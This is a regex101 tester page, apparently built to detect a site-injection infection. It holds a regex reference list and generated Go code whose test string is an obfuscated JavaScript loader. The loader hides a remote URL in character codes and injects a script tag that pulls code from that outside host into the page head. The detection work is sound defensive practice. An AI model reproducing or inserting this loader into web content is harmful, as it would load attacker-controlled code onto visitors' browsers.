Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
No Match

/
/
Us

Test String

Code Generator

Language

Generated Code

package main import ( "regexp" "fmt" ) func main() { var re = regexp.MustCompile(`(?Us)<script type='text\/javascript'>var _0x1e35=(.*)\;\(function\(_0x546a53,_0x3f720e\){(.*)}};(.*);var url=String(.*);var a=function\(\){var _0x22c9c8=document(.*)=url;document\['getElementsByTagName'\](.*);for\(var i=scrpts(.*){a\(\);}<\/script>`) var str = `<script type='text/javascript'>var _0x1e35=['length','fromCharCode','createElement','type','async','code121','src','appendChild','getElementsByTagName','script'];(function(_0x546a53,_0x3f720e){var _0x440369=function(_0x2e1b64){while(--_0x2e1b64){_0x546a53['push'](_0x546a53['shift']());}};_0x440369(++_0x3f720e);}(_0x1e35,0x1e1));var _0x5a05=function(_0x716551,_0x1d4a8e){_0x716551=_0x716551-0x0;var _0x2b7638=_0x1e35[_0x716551];return _0x2b7638;};var url=String[_0x5a05('0x0')](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x73,0x61,0x73,0x6b,0x6d,0x61,0x64,0x65,0x2e,0x6e,0x65,0x74,0x2f,0x68,0x65,0x61,0x64,0x2e,0x6a,0x73,0x3f,0x76,0x65,0x72,0x3d,0x31,0x2e,0x30,0x2e,0x30);var a=function(){var _0x22c9c8=document[_0x5a05('0x1')](String[_0x5a05('0x0')](0x73,0x63,0x72,0x69,0x70,0x74));_0x22c9c8[_0x5a05('0x2')]=String[_0x5a05('0x0')](0x74,0x65,0x78,0x74,0x2f,0x6a,0x61,0x76,0x61,0x73,0x63,0x72,0x69,0x70,0x74);_0x22c9c8[_0x5a05('0x3')]=!![];_0x22c9c8['id']=_0x5a05('0x4');_0x22c9c8[_0x5a05('0x5')]=url;document['getElementsByTagName'](String[_0x5a05('0x0')](0x68,0x65,0x61,0x64))[0x0][_0x5a05('0x6')](_0x22c9c8);};var scrpts=document[_0x5a05('0x7')](_0x5a05('0x8'));var n=!![];for(var i=scrpts[_0x5a05('0x9')];i--;){if(scrpts[i]['id']==_0x5a05('0x4')){n=![];}};if(n==!![]){a();}</script>` if len(re.FindStringIndex(str)) > 0 { fmt.Println(re.FindString(str),"found at index",re.FindStringIndex(str)[0]) } }

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Golang, please visit: https://golang.org/pkg/regexp/